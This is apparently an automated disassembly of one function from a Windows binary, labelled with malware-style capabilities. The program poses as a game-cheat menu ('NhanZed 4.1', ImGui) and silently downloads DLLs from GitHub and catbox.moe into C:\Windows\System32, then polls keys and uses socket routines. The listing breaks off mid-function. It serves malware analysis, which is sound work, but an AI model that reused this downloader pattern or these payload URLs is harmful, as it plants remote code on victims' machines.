Function at 0x14005c9e0
Capabilities:
Create process on windows
Create thread
Download url
Encode data using xor
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x2d08]
mov eax, 0x2e08
call fcn.14012fec0
sub rsp, rax
movzx eax, word [0x1401717b8]
lea r8, [rbp - 0x58]
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_momokbire_MOMOMO_main_MOMOKBIRECHMAS.dll]
lea rdx, [rbp + 0x240]
movups xmm1, xmmword [0x140171780]
xor r15d, r15d
mov word [rbp + 0x288], ax
xor r9d, r9d
movzx eax, byte [0x1401717ba]
xor ecx, ecx
movups xmmword [rbp + 0x240], xmm0
movups xmm0, xmmword [0x140171790]
mov byte [rbp + 0x28a], al
mov eax, dword [0x140171718]
movups xmmword [rbp + 0x260], xmm0
movsd xmm0, qword [0x1401717b0]
movups xmmword [rbp + 0x250], xmm1
movups xmm1, xmmword [0x1401717a0]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14017171c]
movsd qword [rbp + 0x280], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32MOMOKBIRECHMAS.dll]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14017171e]
movups xmmword [rbp + 0x270], xmm1
movups xmm1, xmmword [0x140171708]
mov byte [rbp - 0x32], al
movups xmmword [rbp - 0x58], xmm0
mov qword [rsp + 0x20], r15
movups xmmword [rbp - 0x48], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_kl7uf0.dll]
mov eax, dword [0x1401717e0]
lea r8, [rbp - 0x80]
movups xmm1, xmmword [0x1401717d0]
mov dword [rbp - 0x38], eax
lea rdx, [rbp - 0x58]
mov eax, dword [0x140171800]
xor r9d, r9d
movups xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x68], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32kl7uf0.dll]
movzx eax, word [0x140171804]
mov word [rbp - 0x64], ax
movzx eax, byte [0x140171806]
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x62], al
movsd xmm0, qword [0x1401717f8]
movsd qword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x48], xmm1
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_imfnmf.dll]
mov eax, dword [0x140171828]
lea r8, [rbp - 0x80]
movups xmm1, xmmword [0x140171818]
mov dword [rbp - 0x38], eax
lea rdx, [rbp - 0x58]
mov eax, dword [0x140171750]
xor r9d, r9d
movups xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x68], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32imfnmf.dll]
movzx eax, word [0x140171754]
mov word [rbp - 0x64], ax
movzx eax, byte [0x140171756]
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x62], al
movsd xmm0, qword [0x140171748]
movsd qword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x48], xmm1
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
mov eax, dword [0x140171850]
movups xmm1, xmmword [0x140171840]
mov dword [rbp - 0x38], eax
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [str.C:WindowsSystem32_acg3ql.dll]
mov eax, dword [0x1401716d0]
lea r8, [rbp - 0x80]
mov dword [rbp - 0x68], eax
lea rdx, [rbp - 0x58]
movzx eax, word [0x1401716d4]
xor r9d, r9d
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov word [rbp - 0x64], ax
movsd xmm0, qword [0x1401716c8]
movzx eax, byte [0x1401716d6]
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x62], al
mov qword [rsp + 0x20], r15
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14005b640]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400582f0
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x1400579b0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140057af0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1400570d0]
lea rcx, [rbp - 0x18]
call fcn.140063f80
lea rcx, [rbp - 0x18]
call fcn.1400528e0
cmp dword [rbp - 0x10], r15d
je 0x14005cc7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [0x1403e0a40]
call fcn.140057130
lea rcx, [0x140401e60]
call fcn.1400d8eb0
cmp dword [0x1403e0aa0], r15d
jne 0x14005ccae
call fcn.1400648d0
mov rcx, rax
call fcn.140064830
mov dword [0x1403e0aa0], eax
call fcn.1400648d0
mov edx, dword [0x1403e0aa0]
mov rcx, rax
call fcn.140064770
lea rcx, [0x140401e60]
call fcn.1400d8eb0
cmp byte [0x140402078], r15b
jne 0x14005cd07
lea rcx, [0x140402080]
call fcn.140045810
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x140062b60]
mov qword [rsp + 0x2e20], rbx
mov edx, 0x7f00
mov qword [rbp + 0x1d8], rax
xor ecx, ecx
mov qword [rsp + 0x2df0], r14
mov dword [rbp + 0x1d0], 0x50
mov dword [rbp + 0x1d4], 0x40
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x1f0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x1f8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x208], rax
lea rax, str.NhanZed
mov qword [rbp + 0x210], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x1d0]
mov qword [rbp + 0x218], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x48], r15
sub eax, edx
mov rdx, qword [rbp + 0x210]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x1403e0a78], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14005ce47
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x1401722b0]
lea rdx, [rbp + 0x978]
mov rcx, qword [0x1403e0a78]
movdqu xmmword [rbp + 0x978], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403e0a78]
lea rdx, [0x1403e0a90]
xorps xmm0, xmm0
movups xmmword [0x1403e0a90], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1403e0a78]
call fcn.140062950
test al, al
jne 0x14005ceba
call fcn.140062ae0
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140062881
mov rcx, qword [0x1403e0a78]
mov edx, 0xa
mov qword [rsp + 0x2e30], rdi
movaps xmmword [rsp + 0x2de0], xmm6
movaps xmmword [rsp + 0x2dd0], xmm7
movaps xmmword [rsp + 0x2dc0], xmm8
movaps xmmword [rsp + 0x2db0], xmm9
movaps xmmword [rsp + 0x2da0], xmm10
movaps xmmword [rsp + 0x2d90], xmm11
movaps xmmword [rsp + 0x2d80], xmm12
movaps xmmword [rsp + 0x2d70], xmm13
movaps xmmword [rsp + 0x2d60], xmm14
movaps xmmword [rsp + 0x2d50], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403e0a78]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.1400174f0
xor ecx, ecx
call fcn.140006bf0
call fcn.140008c10
lea rcx, [rbp + 0xb60]
mov rdi, rax
or dword [rax], 3
call fcn.14002ab00
mov dword [rbp + 0xbac], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002dd20
movss xmm6, dword [0x140172110]
lea rdx, [0x14024c280]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xb60]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0a48], rax
call fcn.14002dd20
movss xmm7, dword [0x140172108]
lea rdx, [0x14024c280]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0xb60]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0ae0], rax
call fcn.14002dd20
movss xmm3, dword [0x14017212c]
lea rdx, [0x140363910]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xb60]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0ae8], rax
call fcn.14002dd20
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xb60]
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
lea rdx, [0x14033dfb0]
mov rcx, rbx
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0ad8], rax
call fcn.14002dd20
movss xmm3, dword [0x140172134]
lea rdx, [0x14033dfb0]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xb60]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0a50], rax
call fcn.14002dd20
movss xmm3, dword [0x14017211c]
lea rdx, [0x140364850]
mov qword [rsp + 0x28], rax
mov r8d, 0x954
lea rax, [rbp + 0xb60]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0ad0], rax
call fcn.14002dd20
mov qword [rsp + 0x28], rax
lea rdx, [0x140389fb0]
lea rax, [rbp + 0xb60]
movaps xmm3, xmm6
mov r8d, 0x4ba44
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002dd20
mov qword [rsp + 0x28], rax
lea rdx, [0x14027a5d0]
lea rax, [rbp + 0xb60]
movaps xmm3, xmm6
mov r8d, 0x4d2c4
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0a58], rax
call fcn.14002dd20
mov qword [rsp + 0x28], rax
lea rdx, [0x1403d9820]
lea rax, [rbp + 0xb60]
movaps xmm3, xmm7
mov r8d, 0xb18
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b600
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1403e0a60], rax
call fcn.14002dd20
movss xmm3, dword [0x140172140]
lea rdx, [0x140368fd0]
mov qword [rsp + 0x28], rax
mov r8d, 0x20fe0
mov rcx, rbx
mov qword [rsp + 0x20], r15
call fcn.14002b600
cmp qword [0x1403e0a08], r15
mov qword [rbp + 0x168], rax
jne 0x14005d25f
mov rcx, qword [0x1403e0aa8]
lea rax, [0x1403e0a08]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402c78a0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x7269c
mov rcx, qword [0x1404169c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a00], r15
jne 0x14005d2a6
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a00]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402725f0]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e09f0], r15
jne 0x14005d2ed
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e09f0]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018b110]
mov rax, qword [0x1403e0aa8]
mov r8d, 0xc1167
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a30], r15
jne 0x14005d334
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a30]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403da340]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a28], r15
jne 0x14005d37b
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a28]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403651b0]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a10], r15
jne 0x14005d3c2
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a10]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402767b0]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a38], r15
jne 0x14005d409
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a38]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403d5a00]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a20], r15
jne 0x14005d450
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a20]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x140339f40]
mov rax, qword [0x1403e0aa8]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e09f8], r15
jne 0x14005d497
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e09f8]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x140276580]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403e0a18], r15
jne 0x14005d4de
mov rcx, qword [0x1404169c0]
lea rax, [0x1403e0a18]
mov qword [rsp + 0x30], r15
lea r9, [0x1403df628]
mov qword [rsp + 0x28], rax
lea rdx, [0x14033a020]
mov rax, qword [0x1403e0aa8]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1403e0a78]
call fcn.140048500
mov rdx, qword [0x1404169c8]
mov rcx, qword [0x1404169c0]
call fcn.140048030
xorps xmm10, xmm10
lea rcx, [rbp + 0xbf0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm10
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001f90
movdqa xmm6, xmmword [0x140172560]
xor bl, bl
movdqa xmm7, xmmword [0x1401727c0]
movss xmm12, dword [0x140172060]
movss xmm9, dword [0x140172268]
movss xmm13, dword [0x140172080]
movss xmm8, dword [0x1401721ec]
movss xmm15, dword [0x140172028]
movss xmm11, dword [0x140172160]
movss xmm14, dword [0x1401720b0]
mov qword [rsp + 0x2e28], rsi
mov qword [rsp + 0x2e00], r12
mov dword [rbp - 0x60], ebx
mov qword [rsp + 0x2df8], r13
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0xb28]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005d601
nop
lea rcx, [rbp + 0xb28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb28]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb30], 0x12
lea rcx, [rbp + 0xb28]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005d5b0
mov dword [rbp - 0x60], ebx
test bl, bl
jne 0x1400627d0
mov ecx, Ordinal_50
call fcn.14005c520
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.14005c520
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.14005c520
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.14005c520
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.14005c520
mov ecx, WSAStartup
mov byte [rsp + 0x64], al
call fcn.14005c520
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x65], al
call fcn.14005c520
mov ecx, 0x51
mov byte [rsp + 0x66], al
call fcn.14005c520
mov ecx, 0x45
mov byte [rsp + 0x67], al
call fcn.14005c520
mov ecx, dword [0x1403e09cc]
movzx r9d, byte [0x1403e09aa]
movzx r10d, byte [0x1403e0ac7]
movzx r11d, byte [0x1403e0a74]
movzx ebx, byte [0x1403e09ec]
movzx edi, byte [0x1403e0a77]
movzx esi, byte [0x1403e0a68]
movzx r14d, byte [0x1403e09ae]
movzx r15d, byte [0x1403e09af]
movzx r12d, byte [0x1403e0a75]
mov byte [rsp + 0x63], al
cmp ecx, 1
jne 0x14005d704
test r13b, r13b
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r9b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 2
jne 0x14005d73d
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005d8bf
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r10b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 3
jne 0x14005d776
movzx edx, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test dl, dl
je 0x14005d8ca
test r11b, r11b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r11b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 4
jne 0x14005d7ae
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005d8c5
movzx edx, byte [rsp + 0x61]
test bl, bl
jne 0x14005d8ca
cmp byte [0x1403e0abb], bl
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 5
jne 0x14005d7ea
cmp byte [rsp + 0x64], 0
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005d8ca
cmp byte [0x1403e0abb], dil
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 6
jne 0x14005d826
cmp byte [rsp + 0x65], 0
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005d8ca
cmp byte [0x1403e0abb], sil
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 7
jne 0x14005d85b
cmp byte [rsp + 0x66], 0
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r14b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 8
jne 0x14005d88c
cmp byte [rsp + 0x67], 0
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r15b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
cmp ecx, 9
jne 0x14005d8ba
test al, al
je 0x14005d8ba
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005d8ca
cmp byte [0x1403e0abb], r12b
sete byte [0x1403e0abb]
jmp 0x14005d8ca
movzx ecx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x61]
mov eax, dword [0x1404066f8]
cmp eax, 1
jne 0x14005d8e6
test r13b, r13b
je 0x14005d977
test r9b, r9b
jmp 0x14005d967
cmp eax, 2
jne 0x14005d8f8
test cl, cl
je 0x14005d977
test r10b, r10b
jmp 0x14005d967
cmp eax, 3
jne 0x14005d906
test dl, dl
je 0x14005d977
test r11b, r11b
jmp 0x14005d967
cmp eax, 4
jne 0x14005d914
test r8b, r8b
je 0x14005d977
test bl, bl
jmp 0x14005d967
cmp eax, 5
jne 0x14005d925
cmp byte [rsp + 0x64], 0
je 0x14005d977
test dil, dil
jmp 0x14005d967
cmp eax, 6
jne 0x14005d936
cmp byte [rsp + 0x65], 0
je 0x14005d977
test sil, sil
jmp 0x14005d967
cmp eax, 7
jne 0x14005d947
cmp byte [rsp + 0x66], 0
je 0x14005d977
test r14b, r14b
jmp 0x14005d967
cmp eax, 8
jne 0x14005d958
cmp byte [rsp + 0x67], 0
je 0x14005d977
test r15b, r15b
jmp 0x14005d967
cmp eax, 9
jne 0x14005d977
cmp byte [rsp + 0x63], 0
je 0x14005d977
test r12b, r12b
jne 0x14005d977
cmp byte [0x1403e0abe], 0
sete byte [0x1403e0abe]
mov eax, dword [0x1403e09dc]
cmp eax, 1
jne 0x14005d993
test r13b, r13b
je 0x14005da24
test r9b, r9b
jmp 0x14005da14
cmp eax, 2
jne 0x14005d9a5
test cl, cl
je 0x14005da24
test r10b, r10b
jmp 0x14005da14
cmp eax, 3
jne 0x14005d9b3
test dl, dl
je 0x14005da24
test r11b, r11b
jmp 0x14005da14
cmp eax, 4
jne 0x14005d9c1
test r8b, r8b
je 0x14005da24
test bl, bl
jmp 0x14005da14
cmp eax, 5
jne 0x14005d9d2
cmp byte [rsp + 0x64], 0
je 0x14005da24
test dil, dil
jmp 0x14005da14
cmp eax, 6
jne 0x14005d9e3
cmp byte [rsp + 0x65], 0
je 0x14005da24
test sil, sil
jmp 0x14005da14
cmp eax, 7
jne 0x14005d9f4
cmp byte [rsp + 0x66], 0
je 0x14005da24
test r14b, r14b
jmp 0x14005da14
cmp eax, 8
jne 0x14005da05
cmp byte [rsp + 0x67], 0
je 0x14005da24
test r15b, r15b
jmp 0x14005da14
cmp eax, 9
jne 0x14005da24
cmp byte [rsp + 0x63], 0
je 0x14005da24
test r12b, r12b
jne 0x14005da24
cmp byte [0x1403e0a6a], 0
sete byte [0x1403e0a6a]
mov eax, dword [0x1403e09e8]
cmp eax, 1
jne 0x14005da40
test r13b, r13b
je 0x14005dad1
test r9b, r9b
jmp 0x14005dac1
cmp eax, 2
jne 0x14005da52
test cl, cl
je 0x14005dad1
test r10b, r10b
jmp 0x14005dac1
cmp eax, 3
jne 0x14005da60
test dl, dl
je 0x14005dad1
test r11b, r11b
jmp 0x14005dac1
cmp eax, 4
jne 0x14005da6e
test r8b, r8b
je 0x14005dad1
test bl, bl
jmp 0x14005dac1
cmp eax, 5
jne 0x14005da7f
cmp byte [rsp + 0x64], 0
je 0x14005dad1
test dil, dil
jmp 0x14005dac1
cmp eax, 6
jne 0x14005da90
cmp byte [rsp + 0x65], 0
je 0x14005dad1
test sil, sil
jmp 0x14005dac1
cmp eax, 7
jne 0x14005daa1
cmp byte [rsp + 0x66], 0
je 0x14005dad1
test r14b, r14b
jmp 0x14005dac1
cmp eax, 8
jne 0x14005dab2
cmp byte [rsp + 0x67], 0
je 0x14005dad1
test r15b, r15b
jmp 0x14005dac1
cmp eax, 9
jne 0x14005dad1
cmp byte [rsp + 0x63], 0
je 0x14005dad1
test r12b, r12b
jne 0x14005dad1
cmp byte [0x1403e0ab8], 0
sete byte [0x1403e0ab8]
mov eax, dword [0x140416978]
cmp eax, 1
jne 0x14005daed
test r13b, r13b
je 0x14005db7e
test r9b, r9b
jmp 0x14005db6e
cmp eax, 2
jne 0x14005daff
test cl, cl
je 0x14005db7e
test r10b, r10b
jmp 0x14005db6e
cmp eax, 3
jne 0x14005db0d
test dl, dl
je 0x14005db7e
test r11b, r11b
jmp 0x14005db6e
cmp eax, 4
jne 0x14005db1b
test r8b, r8b
je 0x14005db7e
test bl, bl
jmp 0x14005db6e
cmp eax, 5
jne 0x14005db2c
cmp byte [rsp + 0x64], 0
je 0x14005db7e
test dil, dil
jmp 0x14005db6e
cmp eax, 6
jne 0x14005db3d
cmp byte [rsp + 0x65], 0
je 0x14005db7e
test sil, sil
jmp 0x14005db6e
cmp eax, 7
jne 0x14005db4e
cmp byte [rsp + 0x66], 0
je 0x14005db7e
test r14b, r14b
jmp 0x14005db6e
cmp eax, 8
jne 0x14005db5f
cmp byte [rsp + 0x67], 0
je 0x14005db7e
test r15b, r15b
jmp 0x14005db6e
cmp eax, 9
jne 0x14005db7e
cmp byte [rsp + 0x63], 0
je 0x14005db7e
test r12b, r12b
jne 0x14005db7e
cmp byte [0x1403e0abc], 0
sete byte [0x1403e0abc]
mov eax, dword [0x1403e0a6c]
cmp eax, 1
jne 0x14005db9a
test r13b, r13b
je 0x14005dc2b
test r9b, r9b
jmp 0x14005dc1b
cmp eax, 2
jne 0x14005dbac
test cl, cl
je 0x14005dc2b
test r10b, r10b
jmp 0x14005dc1b
cmp eax, 3
jne 0x14005dbba
test dl, dl
je 0x14005dc2b
test r11b, r11b
jmp 0x14005dc1b
cmp eax, 4
jne 0x14005dbc8
test r8b, r8b
je 0x14005dc2b
test bl, bl
jmp 0x14005dc1b
cmp eax, 5
jne 0x14005dbd9
cmp byte [rsp + 0x64], 0
je 0x14005dc2b
test dil, dil
jmp 0x14005dc1b
cmp eax, 6
jne 0x14005dbea
cmp byte [rsp + 0x65], 0
je 0x14005dc2b
test sil, sil
jmp 0x14005dc1b
cmp eax, 7
jne 0x14005dbfb
cmp byte [rsp + 0x66], 0
je 0x14005dc2b
test r14b, r14b
jmp 0x14005dc1b
cmp eax, 8
jne 0x14005dc0c
cmp byte [rsp + 0x67], 0
je 0x14005dc2b
test r15b, r15b
jmp 0x14005dc1b
cmp eax, 9
jne 0x14005dc2b
cmp byte [rsp + 0x63], 0
je 0x14005dc2b
test r12b, r12b
jne 0x14005dc2b
cmp byte [0x1403e0aba], 0
sete byte [0x1403e0aba]
mov eax, dword [0x1403e09e0]
cmp eax, 1
jne 0x14005dc47
test r13b, r13b
